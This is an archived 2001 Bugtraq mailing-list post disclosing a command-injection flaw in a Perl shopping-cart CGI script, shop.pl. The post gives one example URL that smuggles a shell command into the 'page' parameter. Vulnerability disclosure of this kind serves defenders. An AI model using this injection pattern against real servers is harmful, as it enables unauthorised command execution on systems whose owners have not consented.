[22570] in bugtraq

home help back first fref pref prev next nref lref last post

Shopping Cart Version 1.23

daemon@ATHENA.MIT.EDU (Alexey Sintsov)
Sat Sep 8 03:52:33 2001

Date: 8 Sep 2001 05:31:26 -0000
Message-ID: <20010908053126.8444.qmail@securityfocus.com>
From: Alexey Sintsov <don_huan@xakep.ru>
To: bugtraq@securityfocus.com

User can execute command, but can't use "../"
www.server.com/cgi-
local/shop.pl/SID=947626980.19094/page=;ls|
XP-TEAM
Don_Huan
xakepsin@quake.ru


home help back first fref pref prev next nref lref last post